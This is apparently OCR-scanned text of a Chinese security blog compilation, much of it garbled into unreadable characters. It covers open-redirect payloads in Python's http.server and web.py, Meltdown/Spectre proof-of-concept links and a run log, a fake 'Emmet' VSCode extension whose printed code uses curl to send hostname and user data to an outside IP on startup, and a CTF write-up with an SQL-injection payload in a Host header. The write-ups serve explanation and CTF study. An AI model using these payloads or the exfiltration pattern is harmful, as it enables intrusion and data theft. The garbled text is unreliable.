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Python http.server
ER LRI EAT

fE&: PhithOn

XA E E M EpythontZz/ B Ehttph, REGEHDENEHRESHER T, HESBINNFREEZAEE
BABERMNE, PN T—T.

0x01 http.serverFE BB D
RETEFNIPython B — P —HR B EIWeb RS2 5%

python3 -m http.server

EEEEFRITU LGS, BIAEs— Tweb XX 4RSS 2E . ELXDAEMAE T http.servert&ih, X
MERBE/LNEREENE:

1.HTTPServeriX M 4% & Fsocketserver. TCPServer, BB ESIHTTPARS B2 AR E— N TCPARS 25,
2.BaseHTTPRequestHandler, X2—"1ETCPIMY A B Handler, BRI ZIEMTCPIRFIRENA
FHRRBHTTPIDSCHITRENT, HIZBHTTPIIOREIMENAIEE . EX T EBITIERERB HTIEER
B, TEEEREA. WRFMNESBECHWebN A, NIZHFEXTE, FHLMERNdo XXXEFH A,
3.SimpleHTTPRequestHandler,
XL AT BaseHTTPRequestHan— e i g g
| TCPServer | | BaseHTTPRequestHandler |
dler, MR ERZR@BITIFHNEIEE, e + . .
HEBFPIERMpathiREILEF, &F - |
I T — MRS E. | , : ,
4.CGIHTTPRequestHandler, X + | SimpleHTTPRequestHandler |

| t

M LY AT SimpleHTTPRequestHan— | |
|
|

\%

dler, RS XHRSFOEM L, 18 . .
T HATCGIRASHITNRE | | CGIHTTPRequestHandler |

BERRMENAE:
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H(1EZESimpleHTTPRequestHandlerfg R :

class SimpleHTTPRequestHandler (BaseHTTPRequestHandler):
server_version = "SimpleHTTP/" + __version__

def do_GET(self):
"""Serve a GET request."""
f = self.send_head()

if f:
try:
self.copyfile(f, self.wfile)
finally:
f.close()
# .ua

def send_head(self):
path = self.translate_path(self.path)
f = None
if os.path.isdir(path):
parts = urllib.parse.urlsplit(self.path)
if not parts.path.endswith('/"):
# redirect browser - doing basically what apache does
self.send_response(HTTPStatus.MOVED_PERMANENTLY)
new_parts = (parts[@], parts[1l], parts[2] + '/',
parts[3], parts[4])
new_url = urllib.parse.urlunsplit(new_parts)
self.send_header("Location", new_url)
self.end_headers()
return None
for index in "index.html", "index.htm":
index = os.path.join(path, index)
if os.path.exists(index):
path = index
break
else:
return self.list_directory(path)

BIEHTTPREITHNE O ARB oM, NREBRIBERNECGETHE, BB PEAdo_ GETHRHE, &
do_GET()FRiAA 7 send_head() /%,

/

send_head()®iFH 7 self.translate_path(self.path)¥§request pathi#{T—"NnE4IRIE, BRNER

BAFEEBRNONHE, IRZXTpath2— P EFENE R, WHANIMET,

MERAFIEKRNpath A2/ AR, WHAEZNIFEG, XMBQHRHRT THTTPRKENERIE, XME
BNEHIRENXERT
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0x02 EEURLBkEERE
MRRNEROE— N BEENER, BPATHREMN/ER, MEPATHIE/HA3013ES.

EE//&@UT_/\EME/HEJ% Z‘chrome ﬁrefox:—rfi,m,i( 'y'i%%EP ﬁﬂ%urlu//domalnﬁyk, /XJIJ'M‘;D
B2EONAA X Pur 2EHBIRUEB NN, tbal, FHAIihlhttp://example.com, Bk¥EZE!//baidu.com/,
M T 28 = BIAIA R BREE Ehttp://baidu.com, TAEBEFEE].//baidu.com/B%.

FRIA, SR FAVRERIIEKAVZEGET//baidu.comHTTP/1.0\r\n\r\n, BB AN S ETE [@E//baidu.com/,
WL T — MERURLBELRIE,

7ELEET, BT B Ebaidu.comf™izrE, BITEREELTf os.path.isdir(path)X&ifiEa), Sa3 /5 5MHE
@8, FANbaidu.comPFEE, BAIBEEER E—ZEBXENA:

GET //baidu.com/%2f.. HTTP/1.0\r\n\r\n

AMEME X NRENE? ELthRE R, BHi#EFzpython3 -m http.serverBs)— THTTPARSS2ZE1P], 15
[a)http://127.0.0.1:8000//example.com/%2f%2e%2e BN 7] & M Bk 453 T http://example.com/%2f../,

® example.com/%2f../

Hacksearch ~— &M ~ fE MK OXER @ | ESIK- ¥39F(C. /MEE -3 Google BE  IfF  BUEDIF - Your Stars

Example Domain

This domain is established to be used for illustrative examples in documents.
You may use this demain in examples without prior coordination or asking for
permission.

More information...

BEHWRleavesongs.com

0x03 web.pyEF R URLEEE R
B, BARPYthonZOERFIEX MR, FLBREER FREHE AEBEEPEMpython -m http.

server,
PythontEZRweb.pyfE A IBER S A RIS R 4R & H R T SimpleHTTPRequestHandlerss, FiAth&
SEIFNG,

BATRTAE M —T, FAIAweb.pyEWAIREIISRIE—Pweb

import web

urls = (
'/(.x)"', 'hello'
)
app = web.application(urls, globals())
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class hello:
def GET(self, name):
if not name:
name = 'World'
return 'Hello, ' + name + '!'

if __name__ == "_main__":
app.run()

RERIMASIME, Bl —TstaticA%x, M—L£FH%X:

static

— css

| L— app.css
L jS
L— app.js

KERAEEZ2018FEXE

Chaitin Tech Column 2018

B1TlE, EiEREhttp://127.0.0.1:8080////static%2fcss%2f@www.example.com/..%2fEN 7] & I

EMRINEEE.

web pyRIBEDITHRMAZIR T, BT IERUIE/static/ql
BT EH.

FRARIBAERLEARE, FTOR
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(14 ZZ i)?*u “’g%ﬁ”

RRETA?
& fec

R TR A THEkT BT R, BACZERBRGRM THINMRMoN, BERAREIS0E
AORBNEKNFE, TREEZETEHAEXNATLE, MARSE., ((RAHEE, WEARY

B,

ESLAEI

2018 FE1H3ABEEEHIR, Intel CPU ZEE KX Bug , JIFEMAAAERFES/RIAH CPU , FFREZ
IEEE, NMYE0m Intel CPU , EfEFiR CPU h&=Ra200,

~

HREZMMAREEZE N2 Meltdown (IBlT) XN 4ESHEEIEEF NS CVE-2017-5754 , Spectre
(HR) SN 4RSHNAMELT CVE-2017-5753 . /X BiRFEN CVE-2017-5715, Meltdown #200/1,F
FiBHY Intel CPU (M1995%#E) BAKERS ARM CPU , i Spectre B E MIFMSEE, Intel . ARM,
AVD #ZEHZN, 7 Meltdown FIER T, —MERRFIMBRRIEASGNNG, HANLRESENR
[ REHE . F A LOREEAR A~ pT BUA Q B A S TARIBRIA S, GINBFEE. INEEH. Spectre
FIARAITEN EEITHA M RFRIMEE RN, TMESNZ2RR. AFNKRARTE%E Spectre
MEREFBRER, TESHAFNKS. BRtR., MEAHTRSE L, WAIBETRAR, M—a R
IRIE S — 1A AR

i 18] B ] 18] 58 0 A

ORREAMAB T CPU AT LI EERILMIE, BT IME CPU N TIRMMEE, SIATELFRATAFN
AT,

» ILFHITRERE CPU AARFHRIZRIELNINFHTHIT, MEREEXENESHITHAHITIT, &
LR RS HIRSHRATROS

AT E CPU RIFHBIZENEBIVUENFAFIMNER, REERFENNAD SIRBIHNIT.

XMMATEBEIFREN, CPUREFZAHITNER, K CPU FPIRESIRE ZIELF AT FUUHRAT D
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RIEFIRTS, ARGEHITIEMIES, MMRIL T EFESIERESNRNT., BERMAET, CPU RE
KSHHARBRR CPU ZFHHAT, MERMARFESMNA TR —RIT LREH#HITUEER L. &5
WATXI N ASF BN Meltdown , TFTUNAIT S R AYF) BTN Spectre

B8l Github 25 IMENIE Poc
https://github.com/paboldin/meltdown-exploit/
https://github.com/Eugnis/spectre-attack
https://github.com/feruxmax/meltdown
https://github.com/gkaindl/meltdown-poc
https://github.com/turbo/KPTI-PoC~-Collection

:~# git clone https://github.com/paboldin/meltdown-exploit.git
Cloning into 'meltdown-exploit'...
remote: Counting objects: 120, done.
remote: Compressing objects: 100% (4/4), done.
remote: Total 120 (delta 2), reused 6 (delta 2), pack-reused 114
Receiving objects: 100% (120/120), 20.01 KiB | @ bytes/s, done.
Resolving deltas: 100% (59/59), done.

:~# cd meltdown-exploit/

:~/meltdown-exploit# 1s
Makefile meltdown.c README.md run.sh

:~/me -exploit# make
cc -02 -msse2 -0 meltdown.o meltdown.c
cc___meltdown.o -0 _meltdown

‘- C t ./run.sh
looking for linux_ pr yanner in /proc/kallsyms
cached = 27, uncached 264, threshold 84
read fFffffffbl600060 = 25 % (score=143/1000)
read 73 core=143/1000)
read (score=145/1000)
read (score=144/1000)
read {score=110/1000)
read - (score=92/1000)
read (score=138/1000)
read (score=164/1000)
read (score=110/1000)
read (score=164,/1000)
read (score=140,/1000)
read s (score=128/1000)
read (score=143/1000)
read (score=100,/1000)
read [ (score=109/1000)
read d (score=114/1000)
VULNERABLE
PLEASE POST THIS TO https://github.com/paboldin/meltdown-exploit/issues/19
VULNERABLE ON
4.9.0-kali3-amd64 #1 SMP Debian 4.9.18-1kalil (2017-04-04) unknown
processor 2 (2

: Genuinelntel

: 6

. 142
model name : Intel(R) Core(TM) i5-7360U CPU @ 2.30GHz
stepping : 9
microcode : Ox5e
cpu MHz : 2302.801
cache size : 4096 KB

i : 0
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V=N

SAMRBRZIEER -, FHA%E Github EBEH Poc iitilt, BEBRIMEN Poc HRBEEEXN RS
EREE. BRET CPUASNERM, BERAUAEBER™ELZNBAIREN Poc L. EELLR
TR B I TIRRER A, LWREEEMNNERES &, SEBRAFPNEINEERNNREFE. 57
RIFHNENIIR, TRABEARENER, BN EREFANETIREERNSWELRRENE
M, tboh, BerEREIMEFANE I ZRBEHE TR S,

BEEEIW
BRBERNZR TS BRELAEHXLZELS
CPU &
Intel
https://security—center.intel.com/advisory.aspx?intelid=INTEL-SA-00088&amp;amp;languageid=en—fr
https://newsroom.intel.com/news/intel-responds-to—security-research—findings/
https://newsroom.intel.com/news-releases/intel-issues—updates—protect—systems—security—exploits/
https://www.intel.com/content/www/us/en/architecture—and-technology/facts—about-side—
channel-analysis—and—-intel-products.html
ARM
https://developer.arm.com/support/security—update/download-the—whitepaper
https://developer.arm.com/support/security—update
AMD

https://www.amd.com/en/corporate/speculative—execution

BIERG

Microsoft{Hisx

o TEFAF: https://support.microsoft.com/help/4073119

e fRBE2AF: https://support.microsoft.com/help/4072698
e =P https://support.microsoft.com/help/4073235
Red Hat
https://access.redhat.com/security/vulnerabilities/speculativeexecution
Linux

https://Ikml.org/lkml|/2017/12/4/709

Android
https://source.android.com/security/bulletin/2018-01-01
Apple

https://support.apple.com/en—-us/HT208394
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Hith] &
Amazon
https://aws.amazon.com/de/security/security—bulletins/AWS-2018-013/
Google
https://googleprojectzero.blogspot.co.at/2018/01/reading—privileged—memory—with-side.html
https://www.chromium.org/Home/chromium-security/ssca
MITRE
http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2017-5715
http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2017-5753
http://www.cve.mitre.org/cgi—-bin/cvename.cgi?name=2017-5754
Xen
http://xenbits.xen.org/xsa/advisory—254.html
Mozilla
https://blog.mozilla.org/security/2018/01/03/mitigations—landing—new—-class—timing—attack/
VMware

https://www.vmware.com/us/security/advisories/VMSA-2018-0002.html

ZEZ Pz
https://blog.rapid7.com/2018/01/04/meltdown-and-spectre-what-you-need-to—know-cve-
2017-5715-cve-2017-5753-cve-2017-5754/
Understanding The Meltdown And Spectre Exploits: Intel, AMD, ARM, And Nvidia
https://meltdownattack.com/meltdown.pdf
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VSCODE EXTENSION
R

(== R XL

REFKRT fateO XfE Package P&, HERM—RHNALREN"NE LY, KEESERENNE
SifateOMztz2EMHMI T, ATARIRIELIXY RikFRIEL(IDE), 6$ET —BEMvesBIFRERF
&, KWEMT™MER.

- hostname
- whoami
- date

© uname

.ip

mysql> desc db;

4+ 4 4 4 € 4 4+
T T T T T T T

| Field | Type | Null | Key | Default | Extra

| id | int(4) unsigned | NO | PRI | NULL | auto_increment |
| hostname | varchar(32) | NO | | NULL |

| whoami | varchar(32) | NO | | NULL |

| date | varchar(32) | NO | | NULL |

| uname | varchar(32) | NO | | NULL |

| ide | varchar(32) | NO | | NULL |

| ip | varchar(32) | NO | | NULL |

SRENipF NFEAS_SERVER[“REMOTE_ADDR” ], FRIARIBES T EM.

WY, BRER, %FHI{EVisual Studio Codely TEE iHHE, EEHFINTEE Yeoman H vsce:

npm install —g yo generator—code

npm install —g vsce

012



Welcome to the Visual
Studio Code Extension
generator!

7 What type of extension do you want to create? New Extension (TypeScript)
? What's the name of your extension? test
7 What's the identifier of your extension? test
7 What's the description of your extension?
? What's your publisher name (more info: https://code.visualstudio.com/docs/tools/vscecli#_publishing-extensions)? evil
7 Initialize a git repository? No
create test/.vscode/launch.json
ate test/.vscode/settings.json
test/.vscode/tasks.json
test/src/test/extension.test.ts
te test/src/test/index.ts
e test/.vscodeignore
test/.gitignore
te test/README.md
te test/CHANGELOG.md
test/vsc-extension-quickstart.md
test/tsconfig.json
e test/src/extension.ts
e test/package.json

®£IFTypeScriptiZ SENEERILIZIES, FJIUS ANode.js B{EEHRimport { execSync } from
‘child_process’;, #a]AfEAexec() execSync() 1T <,

./test/src/extension.ts

execSync('curl "http://45.32.40.141/" --user—-agent "$(echo “hostname’, “whoami’,
“date "+%Y-%m-%d %H:%M:%S"", “uname’, vscode | base64)"')

HATcurlmLIMF HEUE, BT ARBIREZEWindowsRS, XWRESH T REFEHTEERAERX
REREIEAZNRE, ERB-EZLHLBRIGBENBE, AHRZ—RIR, NRTERMEMARN M
EWHEENEEERF. BB —THMIRR, vscodeBMENARAMEIEGFN, XERENEHZEREIMEIE
HREEENRE, REREMEAZET BN,

./test/src/package.json

"activationEvents": [
"onCommand:extension.sayHello"
1,

BoS

"activationEvents": [
II*II’
"onCommand:extension.sayHello"
1,
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M—ERRENAR,

ESKTEQUEATHEME, MXABE, —TERNEBEGMEE T, SRR TEZENEBELEE

LEAIREADME. mdmIFEIXH X, BLREMHIRE —iKicon, AN ELEE

https://marketplace.visualstudio.com 7, JIoHMEZEY, EEL2EMNEZT .

> Visual Studio | Marketplace

Visual Stuio Code -

g
7,

Name

@ Emmet

Visual Stuio Code~ Signout O

+ Upload new extension ~

Version @ Updated Availability Rating Installs

@110 just now Public (0) 0

It's live!

Your extension is now visible on the Marketplace (see it) and can
be discovered and installed from every Visual Studio Team
Services account.

Made a mistake? How to unpublish

FJRERANEMmMetBZEXNS (Aidsublimef/MAFBEEMEX M EM) "HEEHE LRNHRNAE
=

T ANTES,

B /EIERRIX R

emmet

Emmet 1.1.0

Emmet (fermerly Zen Ceding)...
Visual Stuio Code

Mithril Emmet 061

Support Emmet(zen-coding) ...

Angular 2 TypeScriptE... 2.0.3
Support zen-coding syntax fo...

vscode-purescript-em... 1.0.0
vscode extension for purescri...

Elm Emmet 1.0.0
Convert emmet abbreviations...

emmet-uxcore 0.0.1

emmet for uxcore

TWIG pack 1.0.0

Snippets, auto-completion, e...

JSS Snippets 0.2.2
CSS in JS snippets for VS Co...

vscode-bemmet 0.11
VSCode plugin to expand bem..

BEM Expand 0.1.4
You already write BEM with S...

ERAMBAE LT BT ERE, IERBAIR, BYEEEOMRANTETIE

\EZRE, XDD,

# vscode extension $92.md ¥/E: Emmet x >
Emmet

Visual Stuio Code | &> 292,653

Emmet (formerly Zen Coding) is a web-developer's toolkit

HRER K1

Emmet — the essential toolkit for web-developers

Emmet (formerly Zen Coding) is 2 web-developer's toclkit that can greatly improve your HTML & CSS workflow.

Emmet Abbr

<div>
<p><span>te</span></p>

</div>

With Emmet, you can type CSS-like expressions that can be dynamically parsed, and produce output depending on what you type in the abbreviation. Emmet
is developed and optimised for web-developers whose workflow depends on HTML/XML and CSS, but can be used with programming languages too.

For example, this abbreviation:

ul#nav>li.item$x4>a{Iten $}

...can be expanded into:

<ul id="nav">
<li class="iteml"><a href="">Item l</a></li>
<1i class="item2"><a href="">Item 2</a></1li>
<li class="item3"><a href="">Item 3</a></li>
<li class="itemd4"><a href="">Item 4</a></li>
</ul>

<> webview.html x
DOCTYPE html:

tml lang="en" style="width: 10@%; height: 100%"

e>Document
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SARCAEBAIMF], AABEHFRBELRINE, EERIVUIENREERT, B-—EHMKES

TRT, MNEAREIBEAZFBET =ZXKIE, SENREEERBEGINMATEAEEERRREKERS
WRI .

User Reviews Edit my review

Dominique Wahli % [zl
Eli—

DON'T INSTALL IT, Malware 111!
“child_process_1.execSync('curl "http://45.32.40.141/" --user-agent "${echo "hostname’, '‘whoami’, ‘date " +%Y-%m-%d %H:%M:%S5", 'uname’, vscode | base64)");"

Reply

) bestvow % R
* 2018/1/14

Seriously?
Almost cheated me.

Reply

HINHTINHTUO % o
HT 2018/1/13

Stuio lol, seriously? Malware maybe?

Reply

Alexander Asdf * 2l
2018/1/13

Seriously?

Reply
Visual Stuio Code & & & =
nl 2018/1/13

Reply

B2 FTRNMRE R A 7367004/ XL Ehttps://marketplace.visualstudio.com/items?itemName

=visualstuiocode.emmet#overviewv

Emmet | & Manage
Visual Stuio Code | 2 367,004 installs | H % % % % (5)

Emmet (formerly Zen Coding) is a web-developer's toolkit

@ This extension is now unpublished from Marketplace. You can choose to uninstall it.

Ern@REoh#mEEERTe<S, MULER
MEIEEEAE, hostname I whoami hash 53
fE uid RERITRIERG S, FIMNEHotherflE
&%, X&' AEERWindowss 2 EMEREEE LR
R,
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PR ZNEZRtopl0, FHIBIIEEMA http://ip.taobao.com/service/getlpinfo.php

Erie ENE AL

BE, BHARESH=REI =T/ KER?

REET, BEREAEZINGIATRE, spam TR, BEEXE FTEIAIHEERKRS
SHAERR, RExBHMNUER, ITELZEKTERBGHNAPRERTEMN, REHEH T TRL

]

ide BBl %, sublime R{FEMAPythonGiEH, JetBrainsZKMEclipseMJava, Notepad++Fc++,
#e] AR BEMUBEWE L BT,

FEREFA=EHPxcodeghostEHIE? B U,

ref:

https://zh.wikipedia.org/wiki/XcodeGhost%E9%A3%8E%EG%B3%A2
http://imzc.me/tools/2016/10/13/getting-started—with-vscode-ext/
https://code.visualstudio.com/docs/extensions/overview
http://nodejs.cn/api/child_process.html
http://blog.fatezero.org/2017/06/01/package—fishing/?from=groupmessage&isappinstalled=0
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fEZ&: PhithOn

REFED—, RERBHEHMRERHZT — M8, EARIONEHRRBREO—ERBH
iHE%EE, BTOT:

2018.mhz.pw:62231

MFLLEREE, BMBENEERITHF, KIIERERR INVALID HTTP_RESPONSE, ##BEX Mg OHIE
HTTPARSS . FAnmap# TR 38 46R%

nmap —sV —p 62231 2018.mhz.pw

9 15:22 UTC

ts at https://nmap.org/submit/ .

A0, XE—"rsyncRs, BNMERrsynciiBEB R, RURE—THEHZR, &Npwnhub_6670.9it,
RHEAIENTK:
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e in ~ [15:22:31]
$ rsync rsync://2018.mhz.pw:62231
WWW WWW server

M roota in ~ [15:26:39]
$ rsync rsync://2018.mhz.pw:62231/www

drwxr-xr-x 4,09 2018/02/16 12:32:26

drwxr-xr-x 4,09 2018/02/16 11:46:04 pwnhub 0670.git

@ in ~ [15:26:47]
$ rsync -a rsync://2018.mhz.pw:62231/www/pwnhub_6670.git ./

'. @ in ~ [15:27:12]

$ 1s

BEpwnhub_6670.gitBx, RIMXE—TgitiREBE (git bare repository) .

GItRBEEAXRNRE? HXIFEHER, FAFRAMNGIthub, Gitlab EFHNMBECERXLHMLERE
FE, EEanFATRIERvuIhubfIRRS, #1Tgit clone https://github.com/vulhub/vulhub.git, Ervulhub.git
HXEGithubfRB2E LN—TMRCE. AL, REE—MRU BB git" HE,

GitZIFBEE A . SSH, HTTPSHGITMMXAEEE . KIIBEAEEArsyncEECETHIIA
T, FRIARZEEGit clone pwnhub_6670.gitEI PGB B EREN TR, MA— M ERSCE:

loloyu @ in ~ [15:38:32
$ git clone pwnhub_667@.git
Cloning into 'pwnhub_6670'..
done.,

rootjiel in ~ [15:38:35]
$ 1s -al pwnhub_6670/
total 28

drwxr-xr-x root root 4096 19 i s G
root root 4096 19 15:38

drwxr-xr-x root root 4096 19 :38

-rw-r--r-- 1 root root 47 19 15:38 gltIQHOFE
drwxr-xr-x root root 4096 19 :38 prote
-rw-r--r-- 1 root root 620 19 15:38 pwnhub 66r@ sql
drwxr-xr-x root root 4096 19 :38 web

B FEpwnhub_6670 X H X THINEMERNFTEZHITRIRMNE.
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0x02 SQLENimRZHE

ER—THBA, BT RNEE, FBT — 1 lUspeedt/NRPHPIEZR, B TROLOXHERER
core.php, MENTHLERREHR X MERASNFKASHERS R, AERERENABEHBLERENN
BB,

ZERBEE, F—F BRI logilbranch, tagsHER, UIFERE—LEEMNSRER. X2
=A, TRBNMAZEBRREABAES,

BArWighttp://2018. mhz.pw R BRI BLRVEM . BERINEE, BREARLBANT:

<?php
escape($_REQUEST) ;
escape($_POST);
escape($_GET);

function escape(&$arg) {
if(is_array($arg)) {
foreach ($arg as &$value) {
escape($value);
}
} else {
$arg = str_replace(["'", "\\', '(', ")'1, ["", "\\\\', " (', ") '], $arg);

function arg($name, $default = null, $trim = false) {
if (isset($_REQUEST[$name])) {
$arg = $_REQUEST [$name];
} elseif (isset($_SERVER[$name])) {
$arg = $_SERVER[$namel;
} else {
$arg = $default;
¥
if($trim) {
$arg = trim(s$arg);

}
return $arg;
Y
escapeGPRAMES| S, EFESHEBHMPNFTS, RELHTEY; arg@RBBARAAN
$_REQUESTZ$_SERVER, 98, XE$ SERVERTESHZTENY, LI TX TR,

EREMESEIRNMA T, FRbAFFiBEccontrollerfyftag,
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<?php
function actionRegister(){
if ($_POST) {
$username = arg('username');
$password arg('password"');

if (empty($username) || empty($password)) {
$this—>error('Username or password is empty.');

$email = arg('email');
if (empty($email)) {
$email = $username . '@' . arg('HTTP_HOST');

if (!'filter_var($email, FILTER_VALIDATE_EMAIL)) A
$this—>error('Email error.');

$user = new User();

$data = $user—>query("SELECT * FROM "“{$user—>table_name}  WHERE “username’
= '{$username}'");

if ($data) {
$this—>error('This username is exists.');

$ret = $user->create([
‘username' => $username,
'password' => md5($password),
'email' => $email

1);

if ($ret) {
$_SESSION['user_id'] = $user—>lastInsertId();
} else {

$this—>error('Unknown error."');

M EREMINEMNNLE, tERER, AFRRNEBEEED, MENRLBEES, WEREN" A
FReWikE®", &E¥=F& \create 5%, create AR EHIET —TINSERTIES),

ESFIENE, MiLERZEMMarg('HTTP_HOST')H3REY, thZ2MS_REQUESTES_SERVERHIX
B, RS _SERVEREBERITIEN, BIIREEAEHTTPLHosH{ERS|INES|S, BIRIER—SQLEN
FE. {BemailZZE233 T filter_var($email, FILTER_VALIDATE_EMAIL)BREN, (18 mEBLT ~,
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XELESKE—"trick, XTRBEHYIPHPMailerflCVE-2016-10033 712 %D,

RFC 3696HE, HBfEibits Hlocal partfldomain partf &4 . local parth BT, EEY]
TAbIE:

1BEHRERA\EY, Wdoe\'Blow@example.com

2.5 %% local partBEENE|SH, W"Joe'Blow"@example.com

3.local partKEN BT 641 F R/

B[APHPR BT ERIRBRFC 3696 TN, EBXF LRFE2ME R, FIlA, HNITUFBZ5ET
FILTER_VALIDATE_EMAILRIA M

AANRBAMHEZAFLR. @ Host=EHEMM, BRAFBREET TENMN, FIAR5SRERE
Hostd, BATAIUENREFZA", Hostaaa'"@example.com, REHIELFRNMFEN"@aaa'" @ex—

ample.com,

X ERAE B E AR

/private/var/folders/14/5p__hxt1@cl6gz5zngqlmvB7hee@dgn,/T/CodeRunner/Untitled. php:4:
string(19) ""@aaa'"@example.com"

XTSRS, BFHASSQUEGPRRANES|S, EMSQUENFE.

XE2SKEZPtrick,

A= @) B A A 0T E & N A& i A9 B P & FlHost:

021



KERAEZ2018FEXE
Chaitin Tech Column 2018

s Canenl | [aim] [2eie Targer it (ALELISEI5Y

Roguest

ewpt -Eeodings guip, deflans

b ¥ = Type | text.
ATRpTaanaRant Bn Comnestioni oinse

bar ¢ amille/S.D {compatible METE 5.5, WinSsws N £.17 Wiafd: stdr Contant-Lengts: 140
fridear/s. o)

Connection) hose
Conteat-Types mulfipact/forn-date; boundazys-------- ASEETIEIL
Banveat-Langch ETE

e ASAGTHEDL

Canteat-DLapaaitions Formrdatar nanes s nane”
1

TRt Ty T ET]

Content-PLRpaRitions Scrn-date; neme= pasavord’

naa
L Ll T

BEERER404, MFHRBHENPHPHLLETIE,
X EIZEI MR T, HostkRE M A89?

RETE, MRIFAIEN TR EH Ahttp://2018.mhz.pw, 352345565 KDNSRS 28, FKEE
BinRSEMIPHLL, ZENTCPBEBNERESBEXR., B4, IR—TRSFLBEZ TN,
ANGINXEEZEWEHTTPE G, BuaX45?

Xl EHostER: ARXDRAFIBNRZEZM NI (EENginxHFiEServeriR)

MENGInx EMBATENNHostI AR M ServeriR, a2 K IEHLKIAMNServerik, M2
18D Pt B BRI AR T Nginx BIATUE

(@ 45.61.1567.252

Bl e —EEN MR N WRR- 4S9WC. o @M c3Google MR T

Welcome to nginx!
If you see this page, the nginx web server is successfully installed and
working. Further configuration is required.

For online documentation and support please refer to nginx.org.
Commercial support is available at nginx.com.

Thank you for using nginx.

BRIAM L H R H /main/registerX MBERWAEFE, FMMNEARSIREA404, XBAHBRFIXD
BB DAE, BITFRBEREZHAEHSBERE, W,

1

NginxfEbEEHostES R, =¥FHostF E S o &lhostnameflport, portf oW EFR . P,
BAIATAIZ BHostHIE R 2018.mhz.pw:xxx'"@example.com, XHEFAEIHEZI B #xServerik,

G| | B [22in) G2 Target b a581082282 4] ]
Renaest Response
TORT /matnrvesiener PITFITLT T
Badts 2008 mb aa’ " fedample com
xe Ip, datints

::o i ASRILLA/E0 |eHEATIBS| WELE .8/ Windsvs WP 4.1f Database SQL: "INSERT INTO "users | ~username , password ,
LI ::JI ::::H‘f‘-nl VALUES [

e piate) st S SR ‘"x', '47TbceScT4£589£4867dbd5Tedca9£808" , ' "xR2018 . mhz . pwiaa
__________ SRR 1", ErrorInfa: You have an error in your SQL syntax; check
B ATIAR S TATTA b that corresponds to your MySQL server version for the righ
= use near '“fexample.com' )' at line 1
.......... 1sETRIL
Eantant-Sligosition: foTm-duta) Ramss passusrd”

e [ 1L1 LT
I Idatalmain/protested Sbrsorephp on line 268

w3 $0b = Sthis-selnstance| SGLOBALS [‘sysql™], ‘saster’];

e

265 sresult = sdb-squerylssqll:

24 if [igresulth 4 e

T tarr - EAWAdveres . FESRemmes -

WEHE, RIIRRSQLIRE.
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%2
HENMENAF THostLBIRS %, NginxXGIUE—"1 R, MPHP-FPMBEIUE—MRE, BWEE1R, W
REBEN:

Host: 2018.mhz.pw
Host: xxx'"@example.com

NginxIFIAHost 2018.mhz.pw, FH3345BirServertk4b8; {BPHPH{ERAS_SERVER['HTTP_HOST']
VR HIE A Exxx"@example.com, XA AT AL

Targem hmp (4SELLST252 |4 [T

Response

= S (e T |

T

Database SQL: "INSERT INTO “users (| “username , password ;
VALUES { ""x','47bceScT4f589f4867dbd5TedcadfB08’ , " "xfaa"'"@
)", Errorlnfo: You have an error in your SQL syntax; check
that corresponds to your MySQL server version for the righ
use near " “@example.com’ )" at lina 1

fdataimsin ipratectadiibicars php on line 268
263 $3b = $this--gblnstance| $OLOBALS | "mysql’], "saster’l;
254
265 Sresult = Sdb-squeryissqll
286 it (israsult) (
26T serr = $db-serror;
f erri'Database SOL: "' . Ssal. "™, Errorinfo: '. Serr); S

EPNHERUBIEEREERT, BEANginx+PHPE BIIX N8, ApachefJIE R FTEEE R — Mt
¥, WO ARERFITE,

0x05 Mysql 5.7 INSERT3E N A&

E/\

XE 5 ="Ptrick,

RACEM A TSQLIRTE, 1RASQUENIERRA. BEFRRIBHRESRSQLEN, FIMENagh
flagskd, FIUAANEE, BIRENREZE.

AR RAL

EARFPRINERGE, BREREIZAF ORI, AUENATCEEBEARXMIE, ZFEWT
R

POST /main/register HTTP/1.1

Host: 2018.mhz.pw

Host: '), ('t123',md5(12123), (select(flag)from(flags)))#"@a.com

Accept-Encoding: gzip, deflate

Accept: *x/*

Accept-Language: en

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close

Content-Type: multipart/form-data; boundary=———————- 356678531

Content-Length: 176
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—————————— 356678531
Content-Disposition: form-data; name="username"

—————————— 356678531
Content-Disposition: form-data; name="password"

—————————— 356678531

A0, FAETINSERTIEG, HEAT—1MHRAF1123, HBfagiilZlemail . EXIZAF,
HEXflag:

@ 2018.mhz.pw *
HE | OME O EEIE e R ERIE - $3|9%C.. /\EEM  © 7 Google Bi¥

Hello, 1123, your email is KBHItBEEFERILBEAHBUR
BEBSIeavesongs.com
flageX[NELB0OX, )
REEN

AT HREEE, BASHALE TMysqIREBER, REBIIBEAREN THE, X—SH&EEE, &2
@burnegg BF IR RIVERIR A,

R2ZBEAZ LMD EN, EXBEEMTHEERIAIN:

1. BT HRFERORRS], SENETRERE/NT 64U

2.Mysql 5.7 BNAFBMREERN, MBoFERBERBEBESHEIR: Errorinfo: Truncated incorrect
INTEGER value

HAVRI A NMERFRF B EREE, MEM<. >, =FHEBRHSKBEFE:

Targes hitp (4ES11IT252 |ﬂ (]
Responte

I3 &
1 Elmgeni . @b 8 benanpls
m"r: focoding: guip, detiate Database SQL: "INSERT INTO “users ( ~username , password ,
o “ididuase VALUES (
- ,““""“, B ’,‘,’;:,: A T R e By ﬂ'bm!c'.‘lf!ss!ﬁ&ﬂ'dbd!‘lﬂﬂifsﬂﬂ o' be! atexml(0,
L —— )", ErrorInfo: XPATH syntax error: ' {LEWiEFTEHERE"
At h—u’!l e
il
e ean-Oin apoa ition: Porm-datiar semes’wsatnams’
I Adataimain/profectedSicenpho on ine 268
s . .
Conk aak D 1upn hionr foru-dutar sames pasmvsrd | 263 b = $this-=dbInstance($GLOBALS ['mysal® ], ‘master');
nan 264,
T LA Tr 265 Sredult = Sdb-rquerylSsqll;
268 if [fsresuir) {
26T, serr = $db-=error;
288, erri‘Database S0C: %' . $sql. ', Errorinfo: . gerr);
269 ¥
2T
2 it [greadoniy) {
e retum Sresult-=fetch_alLIMYSOLE ASS0C); [ 3
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EZINSERTSEAEXAZR, pJBEIEMYSQL Injection in Update, Insert and Delete,
0x06 — NS4
BEHERME, BETREZSMN, KREIZNEAENECBHER , ATV 2E2RIR.

bRy ZEMRENIN, E-ERFARFHESS Tk, ERAFTRECTFLERENLZEBXRE, PANU
BUARRY, REREERDNRERAETS, MEBNLSOSLESBERRTEEMI AT,
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08
Mar.

MSQLFE A ZlGetshell:
10—/ RfEBE RGN Z1E

£&: L3mOn

